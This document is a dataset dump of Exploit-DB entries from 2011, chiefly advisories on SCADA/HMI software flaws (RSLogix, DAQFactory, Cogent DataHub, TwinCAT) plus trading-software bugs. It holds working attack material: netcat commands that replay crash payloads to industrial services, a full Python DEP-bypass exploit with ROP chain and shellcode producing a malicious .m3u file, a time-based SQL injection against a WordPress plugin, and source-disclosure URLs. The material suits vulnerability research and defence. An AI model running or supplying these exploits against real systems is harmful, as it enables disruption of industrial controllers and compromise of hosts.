QLWD/code_shield huggingface dataset:
标题: Rockwell RSLogix 19 - Denial of Service EDB-ID: 17843 CVE: 2011-3489 类型: DOS 平台: WINDOWS 发布日期: 2011-09-14 漏洞利用脚本: #######################################################################

                             Luigi Auriemma

Application:  Rockwell RSLogix
              http://www.rockwellautomation.com/rockwellsoftware/design/rslogix5000/
Versions:     <= 19 (RsvcHost.exe 2.30.0.23)
Platforms:    Windows
Bug:          Denial of Service
Exploitation: remote
Date:         13 Sep 2011
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


From vendor's website:
"With RSLogix 5000 programming software, you need only one software
package for discrete, process, batch, motion, safety and drive-based
application."


#######################################################################

======
2) Bug
======


RsvcHost.exe and RNADiagReceiver.exe listen on ports 4446 and others.

These services use RnaUtility.dll which doesn't handle the 32bit size
field located in the "rna" packets with results like a memset zero
overflow and invalid read access.


#######################################################################

===========
3) The Code
===========


http://aluigi.org/poc/rslogix_1.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17843.zip

  nc SERVER 4446 < rslogix_1a.dat
  nc SERVER 4446 < rslogix_1b.dat


#######################################################################

======
4) Fix
======


No fix.


####################################################################### URL: https://www.exploit-db.com/exploits/17843
标题: Mini-stream Ripper 2.9.7 - DEP Bypass EDB-ID: 17847 CVE: 2009-1325 类型: LOCAL 平台: WINDOWS 发布日期: 2011-09-16 漏洞利用脚本: # written to bypass OptIn/OptOut DEP policy
# tested on windows xp sp3 running in virtualbox
import sys

print "\n============================"
print "Mini-Stream 2.9.7 DEP Bypass"
print "      Written by Blake      "
print "   Tested on Windows XP SP3 "
print "============================\n"
 
# calc.exe
shellcode =(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47"
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38"
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48"
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58"
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44"
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38"
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47"
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a"
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53"
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57"
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39"
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46"
"\x4e\x46\x43\x36\x42\x50\x5a")
 
buffer = "\x41" * 26084
eip = "\x95\x3a\x02\x10" # RETN - MSRfilter01.dll
rop = "\x41" * 4   # compensate
rop += "\x54\x30\x01\x10" # POP EBX, RETN - MSRfilter01.dll
rop += "\xff\xff\xff\xff"
rop += "\x23\xda\x02\x10" # INC EBX, FPATAN, RETN - MSRfilter01.dll
rop += "\x8f\xaf\x01\x10" # POP EBP, RETN - MSRfilter01.dll
rop += "\xa4\x22\x86\x7c" # SetProcessDEPPolicy
rop += "\x8f\xf4\x01\x10" # POP EDI, RETN - MSRfilter01.dll
rop += "\x90\xf4\x01\x10" # RETN - MSRfilter01.dll
rop += "\xd5\x13\x01\x10" # POP ESI, RETN - MSRfilter01.dll
rop += "\x90\xf4\x01\x10" # RETN - MSRfilter01.dll
rop += "\x63\xf5\x01\x10" # PUSHAD, RETN - MSRfilter01.dll
nops = "\x90" * 100
junk = "\x43" * (4000 - len(shellcode + nops + rop))


print "[+] Creating malicious .m3u file"
try:
    file = open("exploit.m3u","w")
    file.write(buffer + eip + rop + nops + shellcode + junk)
    file.close()
    print "[+] File created"
except:
    print "[x] Could not create file"
 
raw_input("\nPress any key to exit...\n") URL: https://www.exploit-db.com/exploits/17847
标题: DaqFactory 5.85 build 1853 - Stack Overflow EDB-ID: 17841 CVE: 2011-3492 类型: DOS 平台: WINDOWS 发布日期: 2011-09-14 漏洞利用脚本: #######################################################################

                             Luigi Auriemma

Application:  DAQFactory
              http://www.azeotech.com/daqfactory.php
Versions:     <= 5.85 build 1853
Platforms:    Windows
Bug:          stack overflow
Exploitation: remote
Date:         13 Sep 2011
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


DAQFactory is an HMI/SCADA software.


#######################################################################

======
2) Bug
======


When DAQFactory is running it listens on the UDP port 20034 for NETB
packets of max 0x400 bytes.

The software is affected by a stack overflow in the code that logs the
informations of the incoming packet allowing an attacker to execute
malicious code:

  005C3FB0  /$ 6A FF             PUSH -1
  005C3FB2  |. 68 E6777D00       PUSH DAQFacto.007D77E6
  005C3FB7  |. 64:A1 00000000    MOV EAX,DWORD PTR FS:[0]
  005C3FBD  |. 50                PUSH EAX
  005C3FBE  |. 64:8925 00000000  MOV DWORD PTR FS:[0],ESP
  005C3FC5  |. 81EC 2C020000     SUB ESP,22C
  ...skip...
  005C41B2  |. 8D8C24 7C010000   LEA ECX,DWORD PTR SS:[ESP+17C]
  005C41B9  |. 68 B02C9000       PUSH DAQFacto.00902CB0     ; "MAC:[%02x-%02X-%02X-%02X-%02X-%02X] IP:%d.%d.%d.%d DHCP:%d.%d.%d.%d %s%s"
  005C41BE  |. 51                PUSH ECX
  005C41BF  |. FF15 6CC07F00     CALL DWORD PTR DS:[<&MSVCRT.sprintf>]
  ..and..
  005C423A  |. 8D8C24 6C010000   LEA ECX,DWORD PTR SS:[ESP+16C]
  005C4241  |. 68 682C9000       PUSH DAQFacto.00902C68     ; "MAC: [%02x-%02X-%02X-%02X-%02X-%02X]    IP:%d.%d.%d.%d %s%s"
  005C4246  |. 51                PUSH ECX
  005C4247  |. FF15 6CC07F00     CALL DWORD PTR DS:[<&MSVCRT.sprintf>]


#######################################################################

===========
3) The Code
===========


http://aluigi.org/poc/daqfactory_1.dat
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17841.dat

  nc SERVER 20034 -u < daqfactory_1.dat


#######################################################################

======
4) Fix
======


No fix.


####################################################################### URL: https://www.exploit-db.com/exploits/17841
标题: Cogent DataHub 7.1.1.63 - Integer Overflow EDB-ID: 17839 CVE: 2011-3501 类型: DOS 平台: WINDOWS 发布日期: 2011-09-14 漏洞利用脚本: #######################################################################

                             Luigi Auriemma

Application:  Cogent DataHub
              http://www.cogentdatahub.com/Products/Cogent_DataHub.html
Versions:     <= 7.1.1.63
Platforms:    Windows
Bug:          integer overflow
Exploitation: remote
Date:         13 Sep 2011
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


DataHub is a software for the SCADA and automation sector.


#######################################################################

======
2) Bug
======


The server/service listens on port 80 using a custom web server.

The software is affected by an integer overflow caused by the
allocation of the amount of memory specified by the Content-Length
field (-1 or 4294967295) plus one resulting in a buffer of zero bytes.


#######################################################################

===========
3) The Code
===========


http://aluigi.org/poc/cogent_3.dat
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17839.dat

  nc SERVER 80 < cogent_3.dat


#######################################################################

======
4) Fix
======


No fix.


####################################################################### URL: https://www.exploit-db.com/exploits/17839
标题: Cogent DataHub 7.1.1.63 - Stack Overflow EDB-ID: 17838 CVE: 2011-3493 类型: DOS 平台: WINDOWS 发布日期: 2011-09-14 漏洞利用脚本: #######################################################################

                             Luigi Auriemma

Application:  Cogent DataHub
              http://www.cogentdatahub.com/Products/Cogent_DataHub.html
Versions:     <= 7.1.1.63
Platforms:    Windows
Bug:          stack unicode overflow
Exploitation: remote
Date:         13 Sep 2011
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


DataHub is a software for the SCADA and automation sector.


#######################################################################

======
2) Bug
======


The server/service listens on the ports 4052 and 4053, the only
difference is that the second port uses SSL while the first one is in
plain-text.

Stack-based unicode buffer-overflow in the "DH_OneSecondTick" function
exploitable through the "domain", "report_domain", "register_datahub",
"slave" and some other commands:

  00440442  |. 50             |PUSH EAX                     ; string
  00440443  |. 68 64854900    |PUSH CogentDa.00498564       ; "Domain"
  00440448  |. 8D8D 00FFFFFF  |LEA ECX,DWORD PTR SS:[EBP-100]
  0044044E  |. 68 A42F4900    |PUSH CogentDa.00492FA4       ; "%s.%s"
  00440453  |. 51             |PUSH ECX                     ; stack buffer
  00440454  |. FF15 B4F44800  |CALL DWORD PTR DS:[<&MSVCR90._swprintf>]


#######################################################################

===========
3) The Code
===========


http://aluigi.org/poc/cogent_1.dat
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17838.dat

  nc SERVER 4052 < cogent_1.dat

port 4053 uses the same protocol via SSL.


#######################################################################

======
4) Fix
======


No fix.


####################################################################### URL: https://www.exploit-db.com/exploits/17838
标题: WordPress Plugin Forum Server 1.7 - SQL Injection EDB-ID: 17828 CVE: 2012-6625 类型: WEBAPPS 平台: PHP 发布日期: 2011-09-13 漏洞利用脚本: # Exploit Title: WordPress WP Forum Server plugin <= 1.7 SQL Injection Vulnerability
# Date: 2011-09-07
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/forum-server.zip
# Version: 1.7 (tested)

---------------
PoC (POST data)
---------------
http://www.site.com/wp-content/plugins/forum-server/wpf-insert.php
 edit_post_submit=1&edit_post_id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20&edit_post_subject=test&message=dummy&thread_id=1

e.g.
curl --data "edit_post_submit=1&edit_post_id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20&edit_post_subject=test&message=dummy&thread_id=1" http://www.site.com/wp-content/plugins/forum-server/wpf-insert.php

---------------
Vulnerable code
---------------
if(isset($_POST['edit_post_submit'])){
    $subject = $vasthtml->input_filter($_POST['edit_post_subject']);
    $content = $vasthtml->input_filter($_POST['message']);
    $thread = $vasthtml->check_parms($_POST['thread_id']);
    $edit_post_id = $_POST['edit_post_id'];
    ...    
    $sql = ("UPDATE $vasthtml->t_posts SET text = '".stripslashes($content)."', subject = '".stripslashes($subject)."' WHERE id = $edit_post_id");
    $wpdb->query($sql); URL: https://www.exploit-db.com/exploits/17828
标题: eSignal and eSignal Pro 10.6.2425.1208 - Multiple Vulnerabilities EDB-ID: 17837 CVE: 2011-3494 类型: DOS 平台: WINDOWS 发布日期: 2011-09-14 漏洞利用脚本: #######################################################################

                             Luigi Auriemma

Application:  eSignal and eSignal Pro
              http://www.esignal.com/esignal/default.aspx
Versions:     <= 10.6.2425.1208
Platforms:    Windows
Bugs:         A] code execution
              B] heap overflow
Exploitation: file
Date:         06 Sep 2011
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bugs
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


From vendor's website:
"eSignal is an all-in-one trading platform that includes the data,
tools and functionality serious individual traders and professionals
need to keep them at the top of their game."


#######################################################################

=======
2) Bugs
=======

-----------------
A] code execution
-----------------

The software is unable to handle the "<StyleTemplate>" files (even
those original included in the program) like those with the registered
extensions QUO, SUM and POR:

  eax=00000001 ebx=00000000 ecx=61616161 edx=02830000 esi=0012f020 edi=03ed97f0
  eip=61616161 esp=0012efb8 ebp=0012f088 iopl=0         nv up ei pl nz ac po nc
  cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
  61616161 ??              ???


----------------
B] heap overflow
----------------

Heap overflow during the handling of the Font->FaceName field of the
various files that use it like ETS, ETQ, ESK and so on:

  eax=04255aa8 ebx=0012f004 ecx=04255ab4 edx=61616160 esi=0012f004 edi=61616161
  eip=781f3a31 esp=0012ef94 ebp=0012efa4 iopl=0         nv up ei pl nz na pe nc
  cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
  MFC80+0x23a31:
  781f3a31 8b07            mov     eax,dword ptr [edi]  ds:0023:61616161=????????
  781f3a33 8bcf            mov     ecx,edi
  781f3a35 ff500c          call    dword ptr [eax+0Ch]
or
  eax=04012d40 ebx=00000000 ecx=04012d40 edx=61616161 esi=040129b0 edi=0012cfd4
  eip=7822c445 esp=0012ce58 ebp=0012ce6c iopl=0         nv up ei pl nz na po nc
  cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
  MFC80+0x5c445:
  7822c445 ff9270010000    call    dword ptr [edx+170h] ds:0023:616162d1=????????


#######################################################################

===========
3) The Code
===========


http://aluigi.org/poc/esignal_1.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17837.zip


#######################################################################

======
4) Fix
======


No fix.


####################################################################### URL: https://www.exploit-db.com/exploits/17837
标题: Cogent DataHub 7.1.1.63 - Source Disclosure EDB-ID: 17840 CVE: 2011-3502 类型: WEBAPPS 平台: WINDOWS 发布日期: 2011-09-14 漏洞利用脚本: #######################################################################

                             Luigi Auriemma

Application:  Cogent DataHub
              http://www.cogentdatahub.com/Products/Cogent_DataHub.html
Versions:     <= 7.1.1.63
Platforms:    Windows
Bug:          source disclosure
Exploitation: remote
Date:         13 Sep 2011
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


DataHub is a software for the SCADA and automation sector.


#######################################################################

======
2) Bug
======


The server/service listens on port 80 using a custom web server.

Through the appending of the following chars it's possible to view the
content of the server-side scripts on the server:

  +
  %20
  %2e

This vulnerability is useful when the server hosts customized scripts
which seems a feature of the software:
http://www.cogentdatahub.com/Features/DataHub_Web_ASP.html


#######################################################################

===========
3) The Code
===========


http://SERVER/index.asp+
http://SERVER/index.asp%20
http://SERVER/index.asp%2e


#######################################################################

======
4) Fix
======


No fix.


####################################################################### URL: https://www.exploit-db.com/exploits/17840
标题: Equis MetaStock 11 - Use-After-Free EDB-ID: 17836 CVE: 2011-3488 类型: DOS 平台: WINDOWS 发布日期: 2011-09-14 漏洞利用脚本: #######################################################################

                             Luigi Auriemma

Application:  Equis MetaStock
              http://www.equis.com
Versions:     <= 11
Platforms:    Windows
Bug:          use after free
Exploitation: file
Date:         06 Sep 2011
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


MetaStock is the most used and awarded software for performing
technical analysis of stocks, futures, forex, commodities, indices and
other financial instruments.


#######################################################################

======
2) Bug
======


All the files supported by MetaStock (mwc/mws charts, mwt templates and
mwl layout) cause an use-after-free vulnerability exploitable through
invalid and malformed files:

  eax=41414141 ebx=73eccedd ecx=01028620 edx=00000004 esi=010283c0 edi=0012e748
  eip=00486378 esp=0012deb0 ebp=0012e754 iopl=0         nv up ei pl nz na po nc
  cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
  Mswin+0x86378:
  00486378 ff5004          call    dword ptr [eax+4]    ds:0023:41414145=????????

Modified bytes:
0000308B   1E       40
00003214   74       41      ; eax 0x41414141 on Windows 2003 Server
00003215   69       41
00003216   76       41
00003217   65       41


#######################################################################

===========
3) The Code
===========


http://aluigi.org/poc/metastock_1.mwl
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17836.mwl


#######################################################################

======
4) Fix
======


No fix.


####################################################################### URL: https://www.exploit-db.com/exploits/17836
标题: Beckhoff TwinCAT 2.11.0.2004 - Denial of Service EDB-ID: 17835 CVE: 2011-3486 类型: DOS 平台: WINDOWS 发布日期: 2011-09-14 漏洞利用脚本: #######################################################################

                             Luigi Auriemma

Application:  Beckhoff TwinCAT
              http://www.beckhoff.de/twincat/
Versions:     <= 2.11.0.2004
Platforms:    Windows
Bug:          Denial of Service
Exploitation: remote
Date:         13 Sep 2011
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


From vendor's website:
"The Beckhoff TwinCAT software system turns almost any compatible PC
into a real-time controller with a multi-PLC system, NC axis control,
programming environment and operating station."


#######################################################################

======
2) Bug
======


Denial of Service caused by an invalid read access.


#######################################################################

===========
3) The Code
===========


http://aluigi.org/testz/udpsz.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15707.zip

  udpsz -C "03 66 14 71 00 00 00 00 06 00 00 00 0a ff ff 02 01 01 10 27" -b 0xff SERVER 48899 0x5fe


#######################################################################

======
4) Fix
======


No fix.


####################################################################### URL: https://www.exploit-db.com/exploits/17835